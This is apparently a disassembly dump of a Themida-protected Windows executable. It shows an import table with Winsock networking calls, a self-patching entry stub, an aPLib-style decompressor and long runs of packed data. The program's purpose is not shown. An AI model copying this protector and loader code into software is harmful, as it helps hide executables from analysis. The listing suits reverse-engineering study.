___:0041C2DAr ; --------------------------------------------------------------------------- adc al, dh retn ; --------------------------------------------------------------------------- db 77h dd 77C40AB1h, 77C4FA10h dword_50FABC dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_41B950+17Er ... dd 77C371BCh dword_50FAC4 dd 77C2C21Bh ; resolved to->MSVCRT.free ; sub_42DFD0+34r ... dd 77C2C407h dword_50FACC dd 77C47920h ; resolved to->MSVCRT.strncat dd 77C39E7Eh dword_50FAD4 dd 77C47A50h ; resolved to->MSVCRT.strncmp ; sub_42CB10+90r dword_50FAD8 dd 77C3FA76h ; resolved to->MSVCRT._snprintf db 90h db 0CFh, 0C1h, 77h dword_50FAE0 dd 77C47660h ; resolved to->MSVCRT.strchr db 8Ah, 0FFh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- mul byte ptr [esi] retn 0E777h ; --------------------------------------------------------------------------- db 14h, 0C2h, 77h dd 77C29CC5h dword_50FAF4 dd 77C47CE5h ; resolved to->MSVCRT.strtok ; sub_41BC90+5Dr dword_50FAF8 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_40FF60+1126r ... dword_50FAFC dd 77C47A90h ; resolved to->MSVCRT.strncpy ; ___:00419BDAr dd 77C29CDDh, 77C293C7h dword_50FB08 dd 77C1BF18h ; resolved to->MSVCRT.atoi ; sub_422A40+203r ... dd 77C35F0Dh, 77C46170h dword_50FB14 dd 77C5F97Ch ; resolved to->MSVCRT.__mb_cur_max dd 77C46125h dd 77C46320h dd 19h dup(0) dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh dup(0) dd 7CA41110h, 0Bh dup(0) dd 28C0383h off_50FBF0 dd offset sub_5EE1E5 ; DATA XREF: ___:00419EBDr ; sub_419F50+2Dr ... dd 0Bh dup(0) dword_50FC20 dd 71AB2B66h ; resolved to->WS2_32.ntohs dd 71AB951Eh, 71AB3E00h dword_50FC2C dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_425020:loc_4250C9r ... dword_50FC30 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_42A5F0:loc_42A6ABr dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h dword_50FC44 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError dd 71AB4544h, 71AB88D3h dword_50FC50 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_42B540+E8r dd 71AB2BC0h dword_50FC58 dd 71AB2D0Fh ; resolved to->WS2_32.recvfromdword_50FC5C dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_42A5F0+F9r dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh dd 71AB2A5Eh dword_50FC78 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa dd 71AB2BC0h dword_50FC80 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_41A6D0+48r ... dword_50FC84 dd 71AC1028h ; resolved to->WS2_32.acceptdword_50FC88 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_41F860+198r ... dword_50FC8C dd 71AB428Ah ; resolved to->WS2_32.send ; ___:004216E1r ... dword_50FC90 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_427AD0+18Dr ... dd 71AB2BF4h, 71ABE479h, 71AC0B50h, 71AB4FD4h, 11h dup(0) dd 76D6AC1Dh, 4C5h dup(0) ___ ends ; Section 2. (virtual address 00111000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00111000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 511000h align 2000h _rsrc___ ends ; Section 3. (virtual address 00112000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00112000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 512000h dd 7C801A24h, 7C81CDDAh, 0 aE db 'оe',9,']',0 align 10h dd 112050h, 112000h, 3 dup(0) dd 112079h, 11200Ch, 5 dup(0) aKernel32_dll_1 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 00113000) ; Virtual size : 00110000 (1114112.) ; Section size in file : 00110000 (1114112.) ; Offset to raw data for section: 00113000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute Themida_ segment para public 'CODE' use32 assume cs:Themida_ ;org 513000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing dd 6D8FD51Ch, 41FE6h, 5EA04h, 158172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 00513265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0057BADA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0057EF83 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0057F1F9 SIZE 0000004C BYTES mov eax, 0 pusha or eax, eax jz short loc_513086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_513041 popa jmp short loc_513076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h db 30h, 51h, 0 dt 9.2233720368547758075e18 ; --------------------------------------------------------------------------- loc_513041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_51304E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_51306D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_513074 loc_51306D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_51304E ; --------------------------------------------------------------------------- loc_513074: ; CODE XREF: start+57j mov edi, eax loc_513076: ; CODE XREF: start+1Bj jmp loc_513265 ; --------------------------------------------------------------------------- add eax, edi mov ecx, 11326Ah add ecx, edi jmp short loc_513090 ; --------------------------------------------------------------------------- loc_513086: ; CODE XREF: start+8j mov eax, offset loc_57BADA mov ecx, offset word_51326A loc_513090: ; CODE XREF: start+70j push eax push ecx call sub_51311B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_513265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_51311B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_513127: ; CODE XREF: sub_51311B:loc_51313Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_513132: ; CODE XREF: sub_51311B+7Aj ; sub_51311B+C3j ... add dl, dl jnz short loc_51313B mov dl, [esi] inc esi adc dl, dl loc_51313B: ; CODE XREF: sub_51311B+19j jnb short loc_513127 add dl, dl jnz short loc_513146 mov dl, [esi] inc esi adc dl, dl loc_513146: ; CODE XREF: sub_51311B+24j jnb short loc_513197 xor eax, eax add dl, dl jnz short loc_513153 mov dl, [esi] inc esi adc dl, dl loc_513153: ; CODE XREF: sub_51311B+31j jnb loc_513238 add dl, dl jnz short loc_513162 mov dl, [esi] inc esi adc dl, dl loc_513162: ; CODE XREF: sub_51311B+40j adc eax, eax add dl, dl jnz short loc_51316D mov dl, [esi] inc esi adc dl, dl loc_51316D: ; CODE XREF: sub_51311B+4Bj adc eax, eax add dl, dl jnz short loc_513178 mov dl, [esi] inc esi adc dl, dl loc_513178: ; CODE XREF: sub_51311B+56j adc eax, eax add dl, dl jnz short loc_513183 mov dl, [esi] inc esi adc dl, dl loc_513183: ; CODE XREF: sub_51311B+61j adc eax, eax jz short loc_51318D push edi sub edi, eax mov al, [edi] pop edi loc_51318D: ; CODE XREF: sub_51311B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_513132 ; --------------------------------------------------------------------------- loc_513197: ; CODE XREF: sub_51311B:loc_513146j mov eax, 1 loc_51319C: ; CODE XREF: sub_51311B:loc_5131B0j add dl, dl jnz short loc_5131A5 mov dl, [esi] inc esi adc dl, dl loc_5131A5: ; CODE XREF: sub_51311B+83j adc eax, eax add dl, dl jnz short loc_5131B0 mov dl, [esi] inc esi adc dl, dl loc_5131B0: ; CODE XREF: sub_51311B+8Ej jb short loc_51319C sub eax, ebx mov ebx, 1 jnz short loc_5131E3 mov ecx, 1 loc_5131C0: ; CODE XREF: sub_51311B:loc_5131D4j add dl, dl jnz short loc_5131C9 mov dl, [esi] inc esi adc dl, dl loc_5131C9: ; CODE XREF: sub_51311B+A7j adc ecx, ecx add dl, dl jnz short loc_5131D4 mov dl, [esi] inc esi adc dl, dl loc_5131D4: ; CODE XREF: sub_51311B+B2j jb short loc_5131C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_513132 ; --------------------------------------------------------------------------- loc_5131E3: ; CODE XREF: sub_51311B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_5131F1: ; CODE XREF: sub_51311B:loc_513205j add dl, dl jnz short loc_5131FA mov dl, [esi] inc esi adc dl, dl loc_5131FA: ; CODE XREF: sub_51311B+D8j adc ecx, ecx add dl, dl loc_5131FE: ; CODE XREF: Themida_:00513271j jnz short loc_513205 mov dl, [esi] inc esi adc dl, dl loc_513205: ; CODE XREF: sub_51311B:loc_5131FEj jb short loc_5131F1 cmp eax, 7D00h jnb short loc_513228 cmp eax, 500h jb short loc_513223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_513132 ; --------------------------------------------------------------------------- loc_513223: ; CODE XREF: sub_51311B+F8j cmp eax, 7Fh ja short loc_51322B loc_513228: ; CODE XREF: sub_51311B+F1j add ecx, 2 loc_51322B: ; CODE XREF: sub_51311B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_513132 ; --------------------------------------------------------------------------- loc_513238: ; CODE XREF: sub_51311B:loc_513153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_513259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_513132 ; --------------------------------------------------------------------------- loc_513259: ; CODE XREF: sub_51311B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_51311B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_513265: ; CODE XREF: start:loc_513076j ; start+9Dj jmp loc_57BADA ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_51326A dw 38E9h ; DATA XREF: start+77o ; --------------------------------------------------------------------------- movsb xor al, 57h add esp, edi jno short loc_5131FE test [edi-41h], bh enter 0FFFFB898h, 47h mov edx, 0E13522AFh sbb ch, dh cld add [edi+1A37D58h], esp pop edi jno short loc_513303 retn 551Dh ; --------------------------------------------------------------------------- dw 52C0h dd 39747365h, 419C7261h, 9F2E5E70h, 0AB473878h, 1FE19222h dd 962122EFh, 855ED790h, 54F05501h, 6D650768h, 8616469h dd 1736D15Fh, 0A57FD708h, 4B333839h, 22897001h, 0F51DC21Dh dd 1004D00Eh, 9B97FABAh, 0D611FC4Ch, 0FAF42F03h, 240162A4h dd 0FFBB102Eh, 0C8C58BF1h, 0E87060D4h, 815D88h, 1234B3EDh dd 79958906h, 0B50D1D61h, 851021A1h db 0FDh, 18h, 80h ; --------------------------------------------------------------------------- loc_513303: ; CODE XREF: Themida_:00513289j cmp dword ptr [ebp-1FD1AEE0h], 74h sbb al, 0Ch mov ebp, eax mov esp, edx mov eax, 0EFC22D69h sbb al, 70h inc esp and al, 73h db 3Eh leave test [ecx], al push 45h call near ptr 687AB4C8h call far ptr 40DFh:0E9078374h or ah, ds:0A7A894Bh inc esp aad 0E9h sub [edx+eax], edx in al, dx pop edi inc eax push ebp mov ebp, esp sub dword ptr [ebx], 0FFFFFFC4h fsubr st, st(6) add [edx-7Fh], ebx jmp far ptr 0C7DAh:8B0035A1h ; --------------------------------------------------------------------------- db 24h, 45h, 0D8h dd 400E6C08h, 81088963h, 1980F37Dh, 200F741Dh, 0B83FC08h dd 12FF45CCh, 0E1EB3143h, 0BA61DC36h, 0C2C90A26h, 81034604h dd 47FF7CC4h, 88714902h, 8002458Dh, 0C7085D8Bh, 50198885h dd 10A8D94h, 1888C3D1h, 0B518941h, 644BD81h, 0E3755D05h dd 518D2728h, 75D864BAh, 0E8A0980h, 5B20F4BBh, 5437ABB8h dd 0D0D3781Fh, 4B080F98h, 0AF77675h, 4647C3AFh, 0C546484Ah dd 0D14245F9h, 0E8A7461h, 0B1BFF0D0h, 41FC45EEh, 4704EB4Dh dd 804691ADh, 0F7408A3Eh, 346D84BAh, 320C7DCCh, 0F83E7FEBh dd 12906D19h, 0F40E99F0h, 0C14A1050h, 4F02865h, 0D1F807D6h dd 2CC203E0h, 0DB033328h, 80301C8Ah, 0A7299FBh, 77390A87h dd 0DEEBA705h, 6114224Ch, 0ACF0DFEh, 1E08ED66h, 0AC3E9EBh dd 1A8610D5h, 0A0B7241h, 677461Bh, 143D424h, 0EC0EF05Dh dd 637D83F4h, 66B07202h, 0A576C00Ch, 26C8AAECh, 8DC039F8h dd 3BA840EDh, 0F15FC55h, 38BD7882h, 38AA37B0h, 81CBACAh dd 7015B91Ch, 30BD08FCh, 0FFE0037h, 0FA754947h, 0BB22B938h dd 1BB806Ah, 82F11231h, 2BBEDEBh, 57868E00h, 51071339h dd 367E6570h, 268AB98Bh, 0C8E927DEh, 0C98599Dh, 0B2B90Dh dd 0E2C0A7Fh, 2A5A7011h, 0FF8B5200h, 0BCC4825Ch, 610C010Bh dd 0E953016Bh, 21398F04h, 8A80FC5Bh, 82052555h, 1508CC45h dd 533F4321h, 2CF906C4h, 64C67C3h, 0C010A1AAh, 0F16C96DCh dd 8C5158F8h, 11C45939h, 1D88458Ah, 0C4514187h, 0FBC947FEh dd 0B8BE1510h, 0EC62C074h, 0CB8CC5D2h, 12C03470h, 765B4E39h dd 0B810030Fh, 0D1043D51h, 46B33BE3h, 975500Eh, 0E11AC2Eh dd 0E4EC0548h, 20069065h, 5C58497h, 6A968E15h, 0C25323B4h dd 29A3C204h, 0C636718Ch, 0ECF20EE7h, 812BC3FFh, 22000477h dd 84C1341Dh, 647533F9h, 1D3FBC20h, 0EF990ADDh, 80430230h dd 7F8C89ECh, 90FFCC9Fh, 0EA45CF40h, 625060E9h, 8C5200C4h dd 8211254Dh, 0CD84B1AAh, 8845AABh, 1A915613h, 0EE825E82h dd 3B81AA75h, 8A3E3311h, 8113B9A8h, 434A9723h, 38EC8103h dd 170307EAh, 0E23D8FB4h, 8D67E006h, 460890DAh, 0C45E1C56h dd 0C46D8A88h, 5646401Ch, 0A63FC4h, 645076B1h, 676103CEh dd 10F48C0Eh, 0D32BFB87h, 0E2818862h, 82EC05h, 0D19D5CF0h dd 0C3EBB2Eh, 622D0700h, 8610CA0Bh, 0EA1BA031h, 0D706A00Dh dd 336900F9h, 1693AEE8h, 0F3020CD5h, 0EA86C862h, 288860Fh dd 7652492Fh, 32B75C3Eh, 2849515h, 1EE0816Dh, 41E41D93h dd 0BE9DA8Ch, 0FB0E0F80h, 883C834Eh, 0C6066403h, 8EA42h dd 1FE5BD1Fh, 26B17624h, 868A5C06h, 1D5018F2h, 8C1EF482h dd 2185980h, 0ABE93240h, 0F2F490F9h, 401F0009h, 937D5929h dd 0F806436Fh, 0F9088918h, 60D13AC2h, 4AC88286h, 0EA303666h dd 1B764113h, 11F2004Ch, 66ABDD64h, 9E00FEDCh, 0B49C1C3Ah dd 0F5342259h, 91D2C743h, 0C5202005h, 0C18203D0h, 11A84E14h dd 1005D1F3h, 5AE1C95Bh, 76C7CF00h, 185DCAD6h, 7112E954h dd 0AC07634Ah, 0E45FE073h, 2BF3D0A0h, 681A00EDh, 5C05BA6Eh dd 4EC0625Bh, 0F961811h, 67513FFAh, 908AA10Ch, 0C3A48883h dd 0F306E3D8h, 0FEEC7C84h, 0A0C6A48Ah, 0F6AA1DCh, 0EA4C7529h dd 0BDBB19D8h, 0A8045D00h, 0A77B8650h, 832200CDh, 82206AC8h dd 9C709DFCh, 1C2620E1h, 0EAEB818Ah, 29CDB651h, 8911580h dd 0A8E628B1h, 7235F207h, 2600CC5Ah, 749674F6h, 60EA2C3Dh dd 15AC8093h, 16C4858Dh, 7813C00h, 6E19A169h, 0A39D00B5h dd 0E3E56C29h, 0BB078487h, 5D4B83A0h, 98A69150h, 955A3A04h dd 9FA5C93h, 3180A282h, 5836F2Dh, 0E200E7FAh, 5664D484h dd 1B3B438Fh, 51D53EF5h, 0BC917199h, 0C960A20h, 0A2000CD8h dd 0F3E10F83h, 0BE050E7Fh, 0DC60604Eh, 19E4964h, 0FF09203h dd 0F07165C5h, 18911962h, 40E65A93h, 61206ED4h, 6096740Dh dd 64C959D6h, 58004163h, 55EA8ACEh, 129A44A7h, 18972E1Eh dd 0F6BC29BCh, 0D8DF49C0h, 0A64633h, 39106CE6h, 54863674h dd 3678E58h, 5D93A4B1h, 423103E4h, 89A57E09h, 68D983C3h dd 8E1809Eh, 0C41E6E5Ah, 12BD18F6h, 0C37C1888h, 0A88A7800h dd 32B18535h, 262206B7h, 38870BF3h, 5F75EAE6h, 486DE718h dd 0F58310h, 0D9564DDFh, 8BE567F2h, 0C76B3Dh, 363C7F12h dd 7863A55Eh, 30A60389h, 0CF8F0D9Eh, 90034FD7h, 41C3A252h dd 28DA00E4h, 840E6Dh, 0C2F79930h, 9C47F36Fh, 0C3008990h dd 6396FE91h, 1FC53Eh, 0A5E5BACh, 35C28532h, 0B7B0B518h dd 28AD3048h, 6038B990h, 612F613Fh, 2200A1B4h, 6DB106BEh dd 3398169h, 2B96E515h, 5800B702h, 0AA435BB9h, 63CBA442h dd 0B6B549E2h, 9F0161C6h, 0B05E639Ah, 0C2ECA913h, 97A21C31h dd 3618BE4Bh, 0E23348D1h, 0B90CCAF8h, 50CB6B3Bh, 82F60A9Dh dd 80881B87h, 0AF7A1404h, 1E00D9CCh, 8F2DBE45h, 0DB5B3B9h dd 0AC92AD61h, 3838BC81h, 0F8880F3Eh, 0F0800065h, 0C3372E1Ch dd 0E1E3FE1h, 0D760597Ch, 40076D20h, 6033F0CFh, 0F68A2931h dd 0C072FE67h, 3A43981Dh, 0AE19B071h, 9D05E18Eh, 88240400h dd 4071FEFFh, 0B3664F03h, 0D0EEA0EAh, 0A713206h, 74AA0716h dd 979F3CC0h, 0EC8D4E1Fh, 48E69860h, 91C01887h, 28E1B2EEh dd 0EFA900C2h, 70C058D3h, 70A098ADh, 37F8B5D7h, 2736B802h dd 836BCC93h, 9BC5AFB0h, 0F6183F3Eh, 0BF200048h, 6B2B390Ah dd 9800ACCAh, 9193A916h, 0AD4D0C6Ch, 8F59BA95h, 0EBF94063h dd 2FF1988Ah, 1F357843h, 45DA6A93h, 215E1C17h, 80458FE4h dd 0EE83C631h, 0B69C8Dh, 4139225Bh, 6E4734FBh, 0CE53F61Dh dd 0BE98DC47h, 0F04367F5h, 368F6Dh, 8423D341h, 73FE7896h dd 0D81A2700h, 93E62F4Ah, 0FFD0C110h, 2329536Eh, 9C6B0008h dd 0C62B63FAh, 0F0DD48A5h, 3990E705h, 31B400A9h, 0A3298406h dd 90A3EB7Dh, 1CFF2880h, 60422E7h, 0C9C33B59h, 6B80690h dd 61102140h, 97056000h, 1A07D929h, 40F8A8B2h, 68330027h dd 0AAD4B090h, 0EF006CCFh, 654EE243h, 277DB94h, 0CB2B164Ah dd 0CC90609Fh, 4B803AC7h, 0B853F1F7h, 0B391808Dh, 0A31004B9h dd 913427F1h, 93B01984h, 420FF671h, 0D8900769h, 50C6F920h dd 64BC0061h, 0D5DA57A7h, 0F0188136h, 5459B7F6h, 3D780324h dd 6F107E90h, 0F787D0E7h, 4824A071h, 0CF0152A4h, 0A719F85Dh dd 8BF26983h, 86B1335Ch, 1D1F3057h, 90A28C92h, 83B8493h dd 0B882245Dh, 0AFBAB5C2h, 3E0B1FA8h, 737D0006h, 48AF8B5Fh dd 0D648C46Eh, 4E862B13h, 7E2DB48h, 1342EE34h, 0AA9F8C00h dd 98A24723h, 51A1F400h, 0AD2858CAh, 2F0C348Fh, 30249FC6h dd 5B370C49h, 8E50CD7Eh, 0AAF0D090h, 2491A540h, 408C9B9Dh dd 48C4EE29h, 28829E80h, 60B4F7B6h, 0BDA659C2h, 0E648B453h dd 8D0C0004h, 0EA114B87h, 3C67954h, 93281031h, 500E4667h dd 2712F12Ah, 5A7037E0h, 5E62FDh, 0FC2E1BBCh, 9A83A138h dd 7A6F4100h, 0F0D9DF29h, 52E800D1h, 73985F63h, 7CE888BBh dd 80A6E73Bh, 0DF041C77h, 0FEA7A47Eh, 0EE7124DBh, 0E7240784h dd 13FFB061h, 879CD9F9h, 0E0A5F50Fh, 6F287905h, 0F2680199h dd 0BC0C1E5Eh, 0C0E1DD5Fh, 41D1D12h, 0A54264B4h, 83276FB6h dd 0C07D8780h, 66C9D30h, 0C72B5A9Fh, 0F62AF8CCh, 4A0288B3h dd 46BC1954h, 1F6FE0DFh, 0EDDE1E07h, 9A239E4Eh, 0A84130BFh dd 2990103Fh, 628728C3h dd 1BD48090h, 96FF802Bh, 0CCE6432Ah, 6E7E0101h, 2533F00Ch dd 1464B2D0h, 0E0923003h, 0CB023B08h, 0AB23BB03h, 6E6809BEh dd 1410B5A9h, 89191ADh, 0A7E5CF02h, 8E410C2Ch, 13BAC240h dd 20646F7Fh, 292D3FE4h, 2F0DF899h, 0E4231946h, 6D5EA400h dd 701F183Fh, 16F63C00h, 89B1D223h, 0C76206C5h, 0E051EBAAh dd 5319BAFEh, 73A0D3B7h, 303B62D8h, 0CE10C8E7h, 270B3386h dd 21487BC3h, 32F7B57Ch, 54CBD834h, 4D3C94E7h, 0BB80082Ah dd 0E994F906h, 9DEF6901h, 14254098h, 8E8B9A4h, 0BB09C1B2h dd 901484EAh, 0E0CBC484h, 0BA00483Fh, 0DC940E9Fh, 5900A8A7h dd 274C7D18h, 9D5678Fh, 9213F6A6h, 8754B421h, 0CE698020h dd 0BC89985Dh, 7A7336h, 6B7B279Bh, 0D1663D91h, 0B949E5FAh dd 9F2903A0h, 0A382BCAh, 2F533AD1h, 9F099D8Ch, 0D24788BAh dd 26F3F0Fh, 49B8A723h, 0F510AB38h, 5100E114h, 3F5F2F97h dd 0B2BECA63h, 235B315Ch, 3076DD51h, 1C88FBD0h, 0E444522Dh dd 931EAC22h, 0F240853Dh, 9C0BB666h, 3F6802CFh, 1761E6Dh dd 317278E0h, 4E103A89h, 567182C1h, 3EB95E00h, 0B5DE6EF1h dd 14545DB2h, 0DB10B44Ch, 8F496234h, 1036114Eh, 16E57A0Eh dd 69C7F73h, 993FB9D3h, 0B9138730h, 0EA71E0h, 0F52998D8h dd 3C311CBEh, 10A464A1h, 0B143E4h, 6D9A49F4h, 0A709C275h dd 3944F4A4h, 0D77F0088h, 0B1DE2B34h, 9F6CE9A1h, 0A1BEA041h dd 0FE104418h, 6700E8A7h, 7BA9DB66h, 7561619h, 4DB03FECh dd 54CE80F2h, 7F24C5CFh, 2B025833h, 3A3AE9Bh, 58DB1B5h dd 60B39230h, 16120148h, 428310Eh, 9F900E66h, 9FD194C0h dd 4CD64310h, 0EF82D0C6h, 7881B0B5h, 24DF92C7h, 0B6136C8Ch dd 0D840235Fh, 19EF0C6Dh, 0ED2F496h, 91D8BBF0h, 0BE2F6FE0h dd 28C02EB7h, 25A61660h, 311D1434h, 5890A849h, 0E69B3600h dd 48C534E1h, 7EB4B21Fh, 4054C98Eh, 81D949FEh, 0C0DAE520h dd 0CF3F8Ch, 0F68B6898h, 3491F5BFh, 2E639712h, 0A6197C81h dd 8E65980h, 4258736Ah, 0FCD2C624h, 9E817839h, 40C08020h dd 0B254F6E8h, 9300F098h, 2279443Ch, 3ECFC286h, 34056156h dd 0C84F12E6h, 0F76FECh, 3FB633h, 0FE31019Ch, 0EFC5D76Dh dd 58283D60h, 0EA0A1B5h, 0CDB16F0Fh, 0BCA12569h, 221A770Ch dd 331F728Ch, 748009E2h, 3147D8BAh, 0BCD20014h, 1F9104A3h dd 2D1F06DCh, 0CE46556Fh, 4C4936F7h, 0CF10E8D0h, 70292A22h dd 5800A0A6h, 1D1F7AC5h, 1E126AF4h, 0F59B2959h, 0C7E48129h dd 0CDC9012Bh, 4429B470h, 344C1C14h, 81918FD4h, 561A9FE7h dd 9B08BC22h, 0D81E4F3Fh, 6BC2C7C3h, 0A2100B5Bh, 3002A0E3h dd 1903BC76h, 14394C18h, 603B022h, 0C425A0EBh, 7830E754h dd 94CFD092h, 68A84078h, 1300434Ah, 951DFE64h, 0E0A317h dd 0AB8A382Fh, 3082BBAAh, 3B235A0Ah, 9700E8C3h, 1C599172h dd 182748BCh, 0FFA1051h, 3D67185h, 0BC9BADA8h, 428F8918h dd 3410871h, 19A1A2CBh, 158051B3h, 3000C8BBh, 0E3C30272h dd 30433EFFh, 6550C42Eh, 772C15E0h, 8B0820C9h, 0FBA40958h dd 4BB39C02h, 502490Fh, 0F08034CCh, 91B9B60Dh, 204C28B0h dd 0F17C5FDBh, 0CB412376h, 59C6D920h, 0A90E503Bh, 0E425B5E8h dd 93A4440Ch, 59F4EA7h, 0DC411687h, 7D953401h, 517376F4h dd 0D820BC97h, 6DCA407Bh, 1F3FF61Fh, 0C677822h, 0CEDF2B33h dd 7506B20h, 20996DFCh, 46D93C80h, 5F5ABFh, 87B27A84h dd 1171B5E6h, 8146F4Dh, 316457A2h, 12B199A1h, 0EC528Fh dd 2CA58AAh, 2B9B4534h, 2ED97927h, 1FB1E858h, 0AA9A0996h dd 40AD1C25h, 59752D94h, 0C21C5395h, 8380F04Ah, 505D0AC9h dd 0ABE5C04h, 604145Ch, 0A003B630h, 22658948h, 4380DE9h dd 41314188h, 225175E8h, 608F12F4h, 50AC5491h, 662A1C10h dd 0F60CE89Ah, 78BBCF23h, 358E3063h, 2D0B6959h, 29817A03h dd 0A134CA52h, 18602F0Eh, 19FE7511h, 38BDFF53h, 0F0844D9Ah dd 33F0976Eh, 3010E168h, 0B68A6172h, 1130B7EEh, 0A2007E37h dd 0F1A5DA75h, 3527FBh, 0DD40D9C2h, 432B98AFh, 920A29DFh dd 5F00980Fh, 2780A8EEh, 9ACA0512h, 143C0C9Eh, 18106028h dd 7E981DE9h, 74B49D55h, 14A8A352h, 9308F431h, 0B3D98918h dd 411C6F5Bh, 20781312h, 3165619Ch, 6C47CD1h, 3B2B9149h dd 0FD341479h, 2BA1D4D0h, 0F3598232h, 0A15390FEh, 0B0AB2918h dd 8ADA8435h, 0B508CC85h, 0C88693C4h, 109026F8h, 0B0AB5D73h dd 402785BFh, 0A677F6BCh, 84A1D12Fh, 61911033h, 41C360F7h dd 4E020F0Eh, 0A2B24A00h, 5E4BC831h, 6107669h, 0C6A5419Dh dd 2128B9A0h, 0AA184CBBh, 0E6914619h, 3A7920F6h, 77E37A00h dd 0B8EE8126h, 59A2005Dh, 0F5C7C0F2h, 5C7696BFh, 0E361AE00h dd 0B5C48698h, 1DACF604h, 0C09185A9h, 2377C52Fh, 0B4003076h dd 0A4709465h, 7D6EDh, 0F55FD9C4h, 92F3451Dh, 0B8B0800Eh dd 40DAAC05h, 2CAF108Fh, 307000C8h, 519A52A7h, 0D30B00A4h dd 53E8DBF9h, 6100B2FBh, 0B4935F1Fh, 357F4B8h, 824BA8ACh dd 80FD38AFh, 0A6E17282h, 51A05216h, 0B59EDC22h, 0F8AA5F04h dd 0E2091F72h, 9A50A4h, 0FBE1F0D8h, 5BE800D3h, 225FF3B8h dd 0AF0045AEh, 0DA5405AAh, 0F48684B6h, 30047229h, 66407617h dd 0ED009EA2h, 0DB0E100Ah, 0C0FB4CE9h, 80AB1458h, 0EA00F5BCh dd 8EC0CA73h, 3028CB9Ah, 0E4407710h, 0A540639Eh, 0F30F00F4h dd 0FB5FD3BEh, 16006CB6h, 0E7C89392h, 39965401h, 0CB8779FCh dd 0F029C339h, 4F9ED744h, 0F4108F73h, 0D526CCEEh, 75942938h dd 722DD8h, 0A469AAEFh, 0FED9F70h, 0D3DB0100h, 68BBFB5Eh dd 835F0014h, 960EAAB4h, 7E00BF98h, 0B26DB891h, 76202Ah dd 615D9FE7h, 0D6C0E655h, 0E8C5FB00h, 56AACA9Ah, 889C3D0Fh dd 26EE1100h, 8C8AB98Eh, 46071E6h, 0ACE17840h, 0C0F08060h dd 0DB06D500h, 0AEB89AD1h, 0AD180064h, 0EA6F19Ch, 0AA00DA5Ah dd 2CC88C8Eh, 6A2BB2h, 52B8E16Dh, 9F26E61h, 0A0C4D181h dd 558CB331h, 3E2EE6F8h, 0AA00811Eh, 